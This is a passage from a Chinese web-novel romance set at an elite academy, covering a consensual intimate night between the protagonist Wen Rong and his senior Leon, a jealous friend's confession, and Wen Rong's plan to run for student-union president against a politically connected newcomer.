莱昂对上温绒戏谑的眼。 “63分45秒,那个金色头发的男人也是这样把男朋友抵在洗手池边。” 相似的话穿越时空而来。 “如果学长脱掉衣服, 应该比他更好看。” 狡猾的敌人想把他家偷了啊。 “噗嗤” 莱昂侧头笑,短暂放弃踏足禁区的计划,单手解扣子投降。 智能手表还被紧抓着,衬衫堆在肘上,莱昂又一次在温绒唇边啜一口, 皮肉弹性带出情/色的响声。 “你会不会好奇,男人跟男人做/爱是什么感觉。” “学长看了那么多,好奇吗?” “好奇。” 莱昂刻意低头碰一下他的眉心,“好奇这样的碰撞,会有什么样的触感。” 温绒勾着唇,看不出厌恶还是喜欢,“好下流。” “现在看来,比起手表,这样更能看出彼此的心意……可以暂时松开学长的手吗?学长想把你抬到床上。” “我可以自己走。” 莱昂敞着胸膛贴上温绒,“这种时候,该尽情的使用学长。” 镜子反射光洁的后背,中间凹进去一道沟,被骨节分明的手指拂过。 温绒起鸡皮疙瘩,深深吸气,重重吐息。 “刚松开学长的手,学长就很不老实。” “嗯,被你发现了。” “那罚学长抬我去床上。” 温绒举手攀爬,主动挂上莱昂,像爬树一样,蹭着往高处走,直到从平视,变为睥睨。 莱昂扶着他,“这明明是奖励。” “嗯,奖励学长。” 温绒觉得,学长笑起来的时候眼睛很漂亮,有种天空晴朗,风和日丽的感觉。 即使天旋地转,陷入柔软的床时,也无法挪不开眼。 呼吸急促,甚至不知道什么时候,震动的感觉发生变化。 温绒低头看见智能手表牢牢戴在自己腕上,被学长用掌心包裹。 “学长也想知道,你心跳有多快。” 与其说想知道,倒不如说是桎梏,被牢牢摁在那里,动都不能动。 “你心跳好快,一直都在震。” “学长这样像强取豪夺。” “怎么会是像,学长真的很想强硬地把你摁在这里,做很多事。” 两人相视一笑,像是好朋友剖心置腹地聊天,聊到最高兴时,什么秘密都忍不住说出来。 温绒侧头,叼起床上一块花瓣,“呼~”一下,把花瓣吹到莱昂脸上。 “订酒店的时候,我特地打电话让他们帮我在床上撒玫瑰花瓣。” “原来都是你的安排,学长还为此尴尬了呢。” “因为意外很多,都不知道自己什么时候会死……在意外来临之前,我想强硬地把学长摁在这里,做很多事。” 湛蓝的瞳孔骤然紧缩。 手表震动,温绒心跳很快,动了情,白皙的皮肤掩饰不住,血色汹涌逃窜,哪哪都留下粉色的痕迹。 这样赤/裸地躺在床上,下巴高高扬起,细长的脖子漂亮得令人心惊。 莱昂几乎神魂颠倒。 急切抓住中午就该触碰的脚踝,指尖无意夹上花瓣。 “今晚不能做,因为明天还要去游乐园。” “作为让学长忍耐的报酬,你记得叫大声一点。”- 天微微亮。 推车艰难行走在地毯上,把他吵醒。 因为昨晚流过生理性的眼泪,温绒眼睛很疼,要十来秒才能撑开眼皮。 “可以起来吃早饭了。” 是学长的声音。 他晕眩地撑着床要坐起来,一只手率先扶在背上,帮助他坐直。 “我……”温绒刚开口,发现自己嗓子哑了。 ——因为要叫大声一点。 昨晚学长很过分。 用鼻尖抵着他的小腹,在运动裤上留下一道黑色水渍。 蹭他,磨他,挤他,他都要被折磨疯了,学长还悠闲地问:“温绒,你知道隔靴搔痒是什么意思吗?” 脑子断断续续地思考,嘴巴乱七八糟地回答:“说话……作……学长……好难受。” “你还没有说完。” “说话、作文没有抓住重点。” “字面意义呢?” “隔着……靴子挠痒痒。我记得……它是贬义词。” “嗯,但在有些时候,它是个好词。” 温绒终于明白为什么上学时很多学生就算逃课也要去上网。 被强烈欲望驱使的时候,即使告诉自己不可以放纵,身体也不听使唤。 看见书本想到网页,看见手机想到电脑屏幕,一支笔握在手里,都像握着鼠标。 这种无法真正得到的失落感与幻觉交叠,如饮鸩止渴,总陷入更难以忍受的境地。 “学长。”他喘着喊,心里生出些不满。 学长太坏了,不能坐以待毙。 “嗯?” “可以叫你老婆吗?” “……” 空气沉默一瞬,阴影罩下,灯光在金色的发丝边沿晕开,温绒看不清学长此时是什么表情。 两人僵持几秒,笑声一泄而下,砸在他脸上。 “差点着道了啊。” 差点,就是还没着道。 温绒挺起背,费力把下巴扣上学长的后颈。 脆弱的喉结轻轻触碰,很痒。 钻着心。 他凑上学长的耳朵喘出口气,“老婆。” “……” “……” 沉沉夜色悄无声息,壁灯拉长交叠的影子,落在墙上,成一团骤然僵住的黑。 温绒肩膀被推着陷入软床,碎发稀稀拉拉摊开。 啪一声,所有的灯一并关闭。 房间被黑暗完全侵占,只余下酒店为情侣准备的玫瑰香薰徐徐缓缓绽放。 味道湿润,带着温度,如风一般裹住每一寸肌肤,留下玫瑰花一样的红痕。 迷蒙中,手被抓着去往一处,上下滚动,颤抖。 温绒后知后觉,那是学长脖子上最敏感的一处——喉结。 “温绒,你帮我找到了一个触碰就会舒服的地方。” 温绒扯了扯嘴角,笑着泄出一口气。 迟钝的大脑还没开始得意,自己真正弱点,被擒着去往学长说的地方。 脑子里轰地一声爆炸,身体完全失控,本能地想要蹬开一切,被猛然抓住,脚心传来指腹滑过的痒。 浑身筋挛。 那种极致的快/感,再回忆起来,也让小腹收紧。 “来喝点水。” 现实与回忆交错,温绒迷茫地接过水杯,润开沙哑的喉咙。 “怎么好像魂没回来?要学长帮你洗漱吗?” 温绒下意识摇头,又因为浑身疲乏,点头,“要。” 虽然有些过分,但很舒服,所以可以奖励学长。 他很简单地找到理由。 “要是以后都这样依赖学长就好了。” 温绒重复昨晚结束后的话,“下次我也要折磨学长。” 莱昂学长跟昨晚一样回答“好”。 温绒屈起腿,试着站起来,又听到声音:“可以去秘密基地。” 那时野们不是就在隔壁?! 好像看出他的心思,莱昂学长脸上笑意更深,“为了不被他们发现,到时候我们谁都不许发出声音。” 温绒:“……” 不得不说,在这方面,他还是敌不过阅片无数的学长。 “来吧,挂在学长身上,学长给小狐狸精洗漱。” 温绒有记忆以来还是第一次被人“伺候”。毛巾很软,稳稳地贴着脸,张开嘴,牙刷刮过每一颗牙齿,有些痒。 要是能一直这样就好了。 温绒只是想一想而已,因为他小时候学过政治和历史,知道科技对一个国家有多重要,学长作为一名科研人员,身上的责任很多,不可能一直照顾自己。 而且学长是很聪明的人,他既然选择做着这样的工作,一定是因为喜欢。 温绒不希望学长为他放弃理想。 …… 早饭后两人出发去主题乐园,由于买了每个项目的速通卡,一个上午就打卡完毕。 温绒坐在路边椅子上,休息的同时搜索着还可以玩什么。 搜着搜着,余光敏锐看见人群中一道熟悉的影子。 起先没在意,但脑子不断地回忆,影子跟刷漆似的一遍一遍加深,轮廓越来越清晰。 啊? 温绒猛一抬头,跟暗中窥伺的人对上视线。 那人仓促别开脸,想要逃跑。 温绒摸出手机,拨打电话。 一秒 两秒 主动挂断。 “学长。”温绒开口。 “嗯?” “我看到时野了。” 莱昂轻笑,“意料之中,他肯定连夜开车来的,说不定等会儿咱俩还能欣赏到他的黑眼圈。” “好像不能单独约会了。” “我们昨晚不是已经约会过了么。” 莱昂低头看温绒的手机,屏幕上显示时野来电。 “叫他来吧,在游乐园里,一个人就显得有些可怜了。” 于是温绒接起电话,“我们看见你了。” 黑色的影子从墙后探出脑袋,太过显眼身体,比旁边路过的人要高出一截。 温绒想,自己再不说话,时野一定会缩回脑袋琢磨、犹豫、烦恼。 时野的性格很奇怪,有时候很直白,有时候又很别扭,别扭的时候要是不管他,他会情绪化,然后反反复复…… 于是温绒尽量拔高调子,释放出明显的开心:“有点惊喜,我还以为你不会来……快过来呀,我跟学长在商量午饭吃什么。” 时野终于从墙后面走出来,一步一顿地靠近,不太好意思地摘下鸭舌帽搓头发。 本来就是板寸,半个月长不多长,扎手。 他小心瞥温绒,眼皮颤抖。 怕昨晚温绒跟莱昂确定关系,怕温绒跟莱昂变得亲密无间,怕温绒生气自己打扰他的约会。 “我……” 温绒眼睛弯弯,“时野,你中午想吃什么?” 各种解释收回肚子里,时野吐出口气。 他要继续喜欢温绒。 只喜欢温绒。【你现在阅读的是 】 100-110 第101章 第 101 章 交出决定权 最后三人在园区的主题餐厅吃了一顿氛围感十足又气氛微妙的午餐。 温绒余光瞥见餐厅的镜子, 时野悄无声息的与莱昂学长互瞪。 本着来都来了的原则,下午陪着时野玩一遍三人可以并排坐的项目。 回到酒店,单间升级成套房, 三人各自睡各自的房间。 温绒知道有很多问题需要解决,但浑身疲乏,并没有精力处理。 放了一池子水,进浴缸里躺下。 敲门声在这个时候响起。 谁? 如果是学长,就要婉拒一下,很累了,不能再像昨晚一样磨到凌晨, 而且时野还在隔壁。 如果是时野…… 温绒思绪一顿。 滋一声,手机震动。 时野:[你在房间里吗?] 温绒:…… 好像真的需要立即把问题解决了。 他不得不从水里爬起来,擦去身上水渍, 穿上浴袍开门。 温绒明确一点,情绪低沉这段时间学长给自己的感觉很好,所以昨晚的事完全发自内心, 并不是气氛到了稀里糊涂的发生。 而自己跟学长做了什么事都没必要告诉时野,这是自己跟学长的秘密, 学长也不一定愿意把这种事分享给从小一块儿长大的好朋友。 但如果必须二选一…… 为什么必须二选一? 可是不做出决断,是不是对另一个不公平。 温绒混乱起来,烦躁地拉开门。 滋啦,一袋子东西递到面前。 “拿着。” “什么?”温绒思绪中断, 接过袋子后低头一看,发现是标着各种生僻字的药膏试纸。 “药可以促进……那里恢复,你自己处理一下,别发炎。” “试纸是测病症的,你记得用。” “还有药……要是试纸有反应, 你就把它吃了,免得得病。” “……” 啊?? 温绒在机/关/枪一样的话里意识到时野说的是什么意思。 时野在干嘛啊……猜到昨晚发生了什么,还给他这些东西。 “莱昂有病,都这样了今天还带你去游乐园,你有没有哪里难受?我听说会发烧,你头晕吗?” 温绒无言几秒,解释:“我跟学长没……” 时野嘴巴微张,没发出声音。 温绒默默补充完毕,“……那个。” “真的?!”随即锋利的眉目大大展开,满是清澈的开心:“你们没有?!” “……” 也不算没吧。 温绒想了想,“你就当我跟学长那个了吧。” “他引诱你?” “……” 是我引诱他。 “艹!”时野用力搓头发,“我就知道他不安好心。” 温绒不知道话题为什么变成了这样,深吸一口气解释,“时野,无论昨晚我跟学长发生过什么,我都是自愿的。” 空气倏地静了。 时野的手指定在发间,迟钝好几秒,才缓缓落下,揣进口袋里。 黑色的运动裤两边明显鼓起拳头的形状,长袖卫衣下,手臂肌肉绷紧到发抖。 “我——” “你先别说。” 时野截断他,又没把话说出来,仓促别开脸,又带着肩膀转身,犹犹豫豫哼着“我……”,好像嘴巴跟脑子并不连通,各自紧张。 温绒看他这样,默默闭上嘴。 “你饿不饿?”好半天,时野终于找到话题。 自问自答:“我有点饿,我让酒店送吃的过来。你等会儿……” 他一步三回头,局促地朝着大门走,手掌紧紧捏住门把手,背上青筋暴起,又要强壮镇定,哐哐哐扭着锁。 很不像时野,又很像时野。 ——你会喜欢上张锦程的女朋友吗。 ——我不当小三 很久之前的声音回到耳边。 温绒蓦然一愣,意外捕捉到时野反反复复的一些规律。 好像,只要跟莱昂学长有关,时野就会这样。 时野爸妈那种情况,应该会很介意跟好朋友喜欢上同一个人。 温绒抿唇,意识到自己真的该做个决断。 “时野,需要我帮你吗?”他叫住时野。 门把手不再被摧残,时野迟钝地回头,“什么?” “以后我尽量离你远点,或许你看不见我,就不会再喜欢我了。” 努力作出个决定,温绒自己又忍不住笑。 这个方案,好像早就实践过了,而且很多次。 是……时竞入学的时候? 爬山的时候? 被时野拦在宿舍楼下的时候? 原来“斩断关系”的成功率并不高。 或许就跟系统说的一样,时野跟学长一样,都对他很好。 感激、舍不得、继续索求这种好意的欲望……各种情绪混杂在一起,造成了现在的局面。 温绒在沉默中进行自我剖析,时野在沉默中被轰炸。 “你为了他,又要远离我——”失控的身躯陀螺一样撞着酒店的家具,一路踉跄冲到温绒面前,明晃晃的灯照得眼眶通红,“他有什么好。” 声音很大,莱昂的房间门紧闭着。 “我都为了你回时家了,我不打网球了,我……” 沉沉的嗓子发出的每个字都发抖,温绒听不太懂这些事为什么是为了自己,肩膀骤然一重。 “我不介意你们发生了什么,不要远离我。” 温绒哑然。 “我听周谢说你提了申请去学生会,你以后要进政府工作,会需要我。” “你身边要有很多人,才会安全。” 温绒其实根本没想到那么长远的地方。 他烦恼只是单纯因为时野对他很好而已。 “他有的我没有也没关系,我说过不用你负责。你别有负担,以后还能像现在一样就行。” “我都发誓只喜欢你了。” “我还欠你18个礼物。” 温绒用力闭了一下眼睛,“那……” “……” “那你想结束的时候告诉我,我配合你。”- 其实两人的动静很大,回到房间后,温绒听到外面传来酒店服务员送餐的声音。 他跟时野的对话学长一定听到了。 然而第二天好像什么都没发生一样,安静地一起乘车回弗罗里曼学院。 把编织袋里的衣服放进洗衣机里清洗,又打扫宿舍,整理凌乱的桌面,调整学习计划…… 在这样的忙碌中,温绒的混乱终于平息。 坐到书桌前,看到计划本上留下的豪言,心神彻底稳定。 关于你喜欢我我喜欢你的故事可以拍摄高达88集的电视剧,不是他单方面就能处理掉的。 倒是“留下名字”的目标清晰。 先做能做的事吧,没能力做的事放到一边。 温绒告诉自己。 滋—— 手机在桌子上旋个几度,屏幕亮起光。 黒鸽图标旁边,显示“莱昂学长”。 温绒点开信息,看到简短的一串文字。 [学长也想要自己叫停的权力。] “……” 温绒回了个“好”,正想把手机关机,不让这些复杂的东西影响正事,手机又弹出消息。 黒鸽论坛:《听说王斯辰议员的侄子周一入校?》 好吧,现在什么都不如这件事重要了。 温绒搜索黒鸽系统,看到痛通讯录里已经有林竞航的账号,说明此时他很有可能也看着这个帖子。 温绒在很早之前的帖子里找到开学那天别人拍自己的照片,又翻出校庆时记者拍的照片,编辑文字: 《上一位从这样变成了这样,不知道某三年前退学的特招生能不能达到这种水平》 全部弄好,发给周谢,让周谢找个绝对安全的账号发到黒鸽论坛上。 周谢:[越来越会使唤我。] 温绒解释:[林竞航的性格肯定受不了被人拿来攀比,我希望他入校后能把注意力放在我身上。] [但是很快我也帮你不了你了。] [为什么?] [校长今天下了最后通牒,我的位置要让给林竞航。] 好像是有这么回事。 但那晚王斯辰答应自己,要让自己当学生会会长的…… 温绒很快转过弯来。 王斯辰说话不算话,说明他已经怀疑自己,那上次的招数不能用了。 综合各方面考虑,温绒得出结论:“哥哥,说不定我又可以通过被欺负获得积分了。”- 天气预报说未来30天都是阴,林竞航入校这天云层格外薄,晴空万里,仿佛春天来临。 校门口聚集人山人海,一如温绒入学那天。 区别在于大多数人都是期待的,笔直地站在道路两边,等着林竞航开着他的新跑车出现。 是崭新的一辆,跟温绒撞坏那辆完全不一样。 要是温绒有心思动手搜一搜,会发现这辆车的价格比那辆车高一倍。 跑车两个座位,副驾驶上坐着只皮毛发亮的猎豹,个头跟人一样高,凶悍的兽脸上,一双眼睛野性十足。 跑车后面还有四五辆车,装着东西,车上全是打扮一致的佣人,像哪个富豪举家出游。 区别在于佣人都是年轻女孩,下了车,腰肢纤细,双腿修长,裙摆勉强遮住大腿肉。 这样浩浩荡荡的队伍,进校后没有去往宿舍,而是直直进入时野让出来的别墅。 黒鸽论坛上,名为《超大排场,看来会是特招生的天花板》的帖子与温绒让周谢找人发的帖子并列第一。 [牛啊,带宠物跟佣人来学校,没有成绩就入住单独的别墅,建校以来,没谁有过这种待遇吧?] [你有个叔叔当总统你也行。] [求让我下辈子投胎到总统家。] [不过他对人还蛮好的,开放了一楼,让大家随便去玩儿。] [我去看过了,好多酒。] [他家佣人还是从赵泽阳家公司练习生里面选的,腰细腿长会跳舞会唱歌,爽死了。] [不是吧?这么饥渴?] [咱学校放眼望去全是男人,有什么意思,还是美女好看。] [温绒:?] [欸,这个……这个不行,已经是我高攀不上的大佬了。跟他一起上新闻很吓人的。] [我现在见不得你们讨论温绒,换个话题,快。] [我听说荷官要让位给新特招生,真的假的?] [等选举结束,政府里都要换一批人,咱学生会会长的位置算什么。] [啧,那荷官处境多尴尬啊。] [还行吧,荷官早修完学分了,本来就是这学期毕业。说不定是他主动让的位,给王议员那边递个敲门砖,毕业后能有个好去处。] [唉,时也命也,要是周总统没死,他前途多好啊。] 温绒一边了解着校内动态,一遍找周谢要学习计划。 他刚踏足这个领域,并不知道该从哪开始学。 周谢:[我还兼职你的老师?] 温绒想了想,敲字:[不想让我找你的话就直接说,我以后都不会来麻烦你。] 去思考喜欢不喜欢、接不接受、亏欠与否都太浪费时间。 把所有的决定权丢出去,如果此“路”不通,就换一条,直到达到目标。 他决定贯彻这个办法。 第102章 第 102 章 我要当学生会会长 周谢很快把学习计划发过来, 同时还有转课的教程。 温绒按照步骤在系统里确认好,发现自己在数学方面的最后一堂课竟然是许秋老师。 或许该当面跟许秋老师讲一下自己的想法。 做好决定,第二天上完课, 温绒直接找到许秋老师。 单刀直入:“老师,我提交了加入学生会的申请,明天就转去跟学生会的学生们一起上课。” 许秋老师惯常冷的的脸上露出几分诧异,“你要进政府工作?” “是的。” “因为周总统?” 温绒愣了下,又很快想明白,即使一直呆在与外界切断联系的研究中心,许秋老师这样重要的人物, 肯定是了解周总统去世这件事的。 只是温绒还没想好该如何回答,许秋老师又说:“不过你的性格很适合在政府工作,现在保守派居多, 有你这样激进的孩子进去,说不定能有些意外发展。” “谢谢老师。” “对了,你要是遇到困难可以跟老师说, 老师做这么多年研究,认识一些政府的朋友, 或许可以帮到你。” 学生们都赶着去下一堂课,很快教室里就只剩下两人。 这间阶梯教室像个大喇叭,将所有人细微的声音都放大,还带着回响。 温绒眼睛顿时明亮, 好像想到什么很重要的东西,压抑着,唇角轻抿。 过两三秒,才开口,“老师, 我以前听说,很多在大学里担任职位的院长教授们也都保持着研究。” “你听到的没错。” “您考虑过把重心从研究中心转移到学校吗?” “什么?” 温绒深吸一口,郑重地说:“老师,您听说过‘风骨’这个词吗。” “书面用的很多,但我很多年都没见过了。” “因为弗罗里曼学院的学生缺少风骨。” “更往大了说,从弗罗里曼学院毕业的很多人都没有风骨,而这些人,现在已然成为联邦每个行业的顶尖人物。” 许秋老师眼皮轻颤,无言。 温绒继续开口:“单纯的研究救不了时代,教书育人中,育人这一点更重要,学校并没有向学生展示出风骨,所以学生也没有风骨,乃至整个联邦都没有。” “所有人都像一根墙头草,哪边利己就往哪边吹,没有是非观念,也没有正直的立场,甚至连拒绝的勇气都没有。” 万籁俱寂,温绒留下最后一句话,“您是有风骨的老师,如果您能领导学院,我想学生们会被您感染。” 其实他并不确信许秋老师会听自己的劝说就去争取校领导的岗位,只是试一试,万一……成功了呢- 劲爆音乐震耳欲聋,射光打在拳击台上,四个穿着火辣的女人尽情热舞。 钟爱夜店的学生们完全沉迷在扉糜的气氛中。 佣人的“生意”好到不行,刚调好一杯玛格丽特,就被人端走,还留下句,“再调一杯帕洛玛,林少爷要。” “少爷还喝?”佣人往沙发的方向望去。 林竞航左拥右抱,脑袋埋在女孩的肩膀上,像是已经醉得不省人事。 “林少爷,别睡啊,来继续。” 有人嚷嚷,林竞航抬起头,又靠到沙发背上,问:“我听说以前周谢管你们的时候规矩很多,他要吼一声,你们屁都不敢放?” 政局巨变,学生会会长更换的消息冒出来,学生会里许多人也默默站了队。 摸清楚林竞航的喜好,从前跟着周谢“铁面无私”的人们摇身一变,成为夜场里熟练的狗腿。 “林少爷,你也知道他爸是周总统。以前我爷爷都得听他爸的话,我在他面前哪有说话的份。” 旁边人附和:“是啊,以前他随随便便一张黄牌下来,别说向学校提申请,连个假都不好请。” 林竞航自然是不知道什么黄牌,不过也不用知道,在他看来没了爹的周谢没什么了不起,很快学生会会长的位置都得换自己来坐,周谢这个前任会长完全没有威胁。 “你们这些怂货——”林竞航高声一喊,看周遭一群人眼神惶恐,不由得噗嗤大笑。 一方面他觉得这些人真他妈窝囊,另一方面,又觉得这样很好,窝囊点的会听话,不听话的人有温绒一个就够了。 众人面面相觑后,谁也没敢吭声。 直到音乐声都停了,林竞航往嘴里倒口酒,摆手,“继续啊,别停。” “好、好的。” 于是众人又欢欢喜喜玩起来,女孩们换上新的曲目继续热舞,五彩光斑扫过台下一张张酒醉沉迷的脸。 音乐致副歌部分,女孩们长腿一跨,穿过拳击台的围绳跳下来,贴着男生热舞。 尖叫,欢笑……直到一个热舞的女孩被男生拨开。 林竞航余光扫到男生严肃甚至可以说厌烦的脸,被扫了兴,顿时恼怒,“你干什么?跟我甩脸子?” 他喝多了,脑子分不清太多,凭着本能觉得有人在自己的地盘上不跟这些女孩玩就是不给自己面子。 “会长,会长,别生气。” 会长这个称呼取悦了林竞航,林竞航勉强压住火气。 “他不喜欢女的。” “哦——”林竞航迟钝地点头,“这个世界确实很多同性恋。” 随即想到自己学生会会长的身份,又问:“喜欢什么样儿的,会长给你找!” “没有。”男生摇头。 “怕我找不到吗!” “我——” 男生没回答完,旁人嘻嘻哈哈道,“会长,他喜欢温绒那样的……哈哈哈哈,他喜欢个平民。” 林竞航愣了下,等迟钝的大脑回味过来“喜欢温绒那样的”等于“喜欢温绒”,笑得比刚才还要厉害,全身都靠在旁边女孩身上,差点把女孩压倒。 “我就不明白,温绒有那么好看?怎么谁都喜欢他?” “林少爷,这你就不懂了吧,温绒那张脸,啧,还有那细胳膊细腿,啧啧啧……” 欲言又止,意犹未尽。 眼神挤弄间,林竞航明白了言下之意,仰头大笑。 “我听说他转到学生会了。” “那不就是羊入虎口!” “是入了咱会长的口。” 林竞航摆手,“我又不喜欢他。” 酒气在身体里一阵一阵的涌,时而晕眩,时而清醒。 在一声声“会长”中,猛然想起温绒也想当学生会会长。 林竞航一个激灵,彻底醒了。 “别让他留在学生会。” “嗯?” “赶紧把他退了。” 众人面露尴尬:“会长,他都转过来了,他自己不退,咱们没办法强行让他退。” 林竞航深吸一口气,换了个说法,“别让他好过。”- 黒鸽系统上彻底完成转课流程,温绒从周谢手里得到一系列弗罗里曼学院的校徽制品。 臂章在校内用,徽章在校外用。 周谢给他讲了学生会成员的校外福利,比如跟联邦各大酒店有合作,可以免费入住,比如可以直接进入各大博物馆、文化馆……最重要的是,可以作为工作人员参与联邦政府举行的各个社会活动。 同时到来的还有厚达两厘米的学习计划。 温度翻开文件夹,以为自己打开了本书。目录上,从联邦历史介绍,政府部门介绍,政治家列传……到史书推荐,全面到温绒不相信是这么短时间做出来的东西。 温绒向周谢道谢后回到宿舍,拿出笔,把周谢给的东西整理到自己的计划本上。 ——王斯辰 看到这三个字的时候,他愣了下,笔尖点在本子上,留下一点明显的墨迹。 静坐良久,温绒开口呼唤系统:“哥哥。” 【我在。】 “明天我就要跟林竞航坐在同一间教室上课了。” “帖子发出去后他连回复都没回复,看来大家的追捧让他暂时没空搭理我。” 【……】宿主你怎么一副很兴奋的样子。 哒哒 温绒点两下笔,笔影在本子上抖动。 “可能之前已经让他适应了,所以帖子那点程度不够激怒他。” 【宿主,谨慎点,他有很多积分,还有个马上当上总统的亲叔叔。】 “我会谨慎行事的。” …… 清晨,阳光漫入窗帘。 温绒睁眼看见宿舍门口的树发了芽,绿色的,带点儿黄,嫩得仿佛能掐出水。 从林竞航来学校开始,天气就反常地放晴,完全违背天气预报上专家得出的数据。 所以猜都不用猜,林竞航肯定用30点积分兑换了这一切。 “呼——” 阳光钻进每一个细胞,白生生的脸都充盈起来,绽放出灿烂的笑。 黑色制服上浮现晶莹的暗纹,寂静缓慢地淌。肩上挂着水似的,一泄而下,汇聚在印着弗罗里曼学院校徽的臂章上。 温绒开门时恰好看见住在对面的男生,维持微笑,主动开口:“早上好。” “……” “!” 男生大吃一惊。 温绒忽视他的反应,转头下楼,每遇到一个人都主动打招呼。 他已经进学生会了,戴上这个臂章,莫名生出种“时时需要亲切温和”的职业责任感。 走下宿舍台阶,没来得及跟进门的学生打招呼,一颗降落在地面上的太阳迫使睫毛迅速上下扇动。 温绒过了两秒才看清,老爷车停在大门口,车身通体透黑,表面像是玻璃质感,太阳一照,镜子似的反射光芒。 前座车窗下摇,周谢侧过脸来,漫进去的光也让眼镜片跟车一样光亮。 温绒敏锐发现,周谢的黑框眼镜换成了跟自己相似的无框眼镜,气质都变得温和许多,不像以前一样阴森。 “带你去教室。”周谢说。 “你来得好早。”温绒感慨完,又惊讶,“你怎么来这么早。” “全校都知道,你每天早上五点左右会到食堂吃面。” “啊?” “上车。” 周谢不打算告诉温绒,在无数个私密群里,还有他每时每刻的动向。 学校里这些人好像达成了一个共识:共享温绒的所有信息。 从目测身高目测体重到早上几点去食堂到今天吃了什么,甚至连跟谁说一两句话,被搭话的人都会在群里炫耀。 车上一路无话。 进入食堂,周谢挑了个人四周没人的位置,然而拿个东西回来,旁边就坐满了人。 温绒抬起头,那些目光就挪开,温绒低头吃面,那些目光就黏上来。 周谢:“……” 他以为时野莱昂那种喜欢很疯魔,没想到这些人更魔怔。 “给你的东西看了吗?”周谢随口搭话。 “看了,我从今天开始按照上面写的全部学习。” “有不懂的可以问我。” “好的。” “周末有空吗?” 温绒:“嗯?” “你上次说想吃我做的饭。” “……到时候能叫上莱昂学长跟时野吗?” 周谢顿了一瞬,点头,“嗯。” 又说:“快吃。” 温绒扒拉面的速度加快,十分钟后,两人回到车上。 启动车子之前,周谢看见一群人在食堂窗边望眼欲穿,忍不住调侃:“他们一直在偷看你。” 以为温绒会紧张或者尴尬,就像那天说一晚上跟两个人接吻一样,周谢都侧过身准备欣赏他的囧样。 温绒却眼睛弯弯,神秘道,“电视剧里总这样演。” “所有人都在看女主角?” “男主角吃醋的时候,就跟女主角说:那个男的一直在看你。” 周谢的瞳孔骤然紧缩。 “我第一次听这种话,感觉还挺奇妙的……时野都没这么跟我说过。” “……” 愣怔片刻,周谢体察到言下之意,仓促别开脸岔开话题,“你知道‘阶级下降’吗?” “……” 虎口压着方向盘弹动,他忍不住继续问:“没听说过吗?” 滋啦啦—— 车窗摇下,一阵风从温绒侧边吹来,头发轻柔拂过,眉色乌黑。 周谢余光瞥见惬意的漂亮脸蛋,手背像被晒进来的烫伤,猛一下缩回。 “莱昂学长给我说过,被弗罗里曼学院退学会面临阶级下降。”温绒终于回答。 “但赵泽阳好像没有被影响。” “这就是阶级下降最恐怖的地方。” “它只有在无法补救的时候才会显现出来。” 周谢继续说话,掩饰住莫名的情绪,“现在我们处于一个众所周知的阶级下降标准节点,总统更换。” “很多人出于害怕阶级下降的原因已经开始站队,父亲站队王斯辰,儿子站队林竞航。” 温绒:“看出来了,论坛上很多人都追捧林竞航。” “莱昂家势力稳固不用担心,我要跟你说的是时野。” 周谢的呼吸彻底平稳,冷静跟温绒分析道,“时常远早就跟王斯辰有联系,时野回去晚了,现在时家大部分掌控在时常远手里,时野想争过时竞,就必须联姻。” 温绒不咸不淡地应声:“嗯。” “最近关于时野要联姻的传闻很多。” “我昨晚看过你给的资料,目前各大势力都是用联姻的方式维护地位。” “如果传闻是真的,你到时候该怎么办?” “我想竞选学生会会长。”? 这两者之之间有什么关系吗? 周谢先是愣了下,而后无语地扯了扯嘴角,“我说你怎么看时野联姻这件事。” “我的回答很明确。比起时野联姻,竞选学生会会长这件事更重要。” 温绒偏头过来,浅浅的眸子不起一丝波澜,阳光照在他脸上,皮肤透亮白皙得像玉。 砰砰 周谢心脏猛跳两下,某一刻,汹涌的感觉冲上脑子。 他喜欢这个回答。 时野联不联姻并不重要,重要的是温绒要当上学生会会长。 这是当前最直截了当的破局办法,也是他跟莱昂达成一致后,内心所期望的事。 周谢发现,跟温绒站在同一战线的时候,温绒真的是一个完美的“伙伴”,或者说——领导。 周谢压了压嘴角和心中的澎湃,“林竞航当会长这件事是委任,不是竞选。” “你想想办法吧,这不是我的权力吗?” 周谢恍然想起网球公开赛前自己拉着温绒到学生会教室里教导权力:不用耗脑子想弯弯绕绕的计谋,只需要开口,就把问题解决。 不知道该欣慰温绒终于领略了那套招数,还是难受这招数用在了自己身上。 思考几秒,他问:“你总要告诉我你的全部计划,我才能帮你去把这件事做了。” “没什么计划,就是逼着学校里的这些人坚定站到我这一边,当上学生会会长。” “怎么逼。” “先看看接下来会发生什么事吧。” 周谢:“听起来很没有计划。” “计划步骤过多就太容易出意外了。” 温绒说完,继续重复自己的要求,“我要跟林竞航竞选学生会会长,最好是全校投票。” “我知道了。” 周谢说完,想冷飕飕讲一句“你越来越会使唤我了”,念头刚有,就想起来昨晚已经说过这句话。 温绒的回答够有意思,一副“你敢不听我话我不理你了”的架势,也不知道能威胁得到谁。 不过温绒想当学生会会长……周谢发动车子,不受控制地把油门踩到底。 他太激动了。 有种兴奋的感觉。 他想过这段时间怎么给林竞航埋雷,想过跟着自己的那批人怎么安排,想过毕业后怎么布局,唯独没想过温绒来当这个学生会会长。 温绒怎么不能当了,虽然才开学每一个学期,但他干过的事比别个读了七年的都多,完全够资格跟林竞航争的。 温绒必须当,因为他是他们选择的人,他未来必须要走上他们期望的路。 但是…… 阶级下降的威胁难以撼动,即使在弗罗里曼学院,也没办法逃开王斯辰的势力。 还差一点。 需要一件触犯众怒的事,要让王斯辰自己都觉得不拉拢平民就地位不稳,必须让温绒出任学生会会长,才能稳定全联邦。 “在这里停了快十分钟了。”温绒看一眼手机,下巴点点前头,“开车吧,路上顺便给我讲讲课程内容。” 学生会的同一课程跟温绒之前学的数学不同,涵盖内容更广泛,包括经济管理时事政治各个方面。 又因为属于组织性质,更强调合作,所以即使分在不同的年级,也安排全体一起上课。 “今天这堂课主要是处理下周四项目研讨会的事,算是我身为学生会会长负责的最后一项工作,必须要认真做。” 温绒敏锐地问:“你最后想做点什么。” “想找正当理由拦住追捧林竞航的那批人的项目……特别是学生会里的林竞航派。” “隶属于学生会的人也能参与项目吗?” “不要把项目研讨会当普通大学的普通社团看。项目研讨会通过的项目必定会通过成立公司的形式流入市场,在学校跟政府的资源加持下,利润非常高。” 考虑到温绒并不了解其中弯弯绕绕,周谢难得有有耐心地从头开始教:“你对学校的资源大概没有什么概念,我给你举个例子。一部电影,正常上映的票房有5亿,但如果这部电影上映前通过了项目研讨会,得到学校的资源,那等它上映的时候,学校会安排全联邦媒体大力宣传,还会强制学校、企业、单位去观看,最终票房甚至能到50亿。” 温绒哑然。 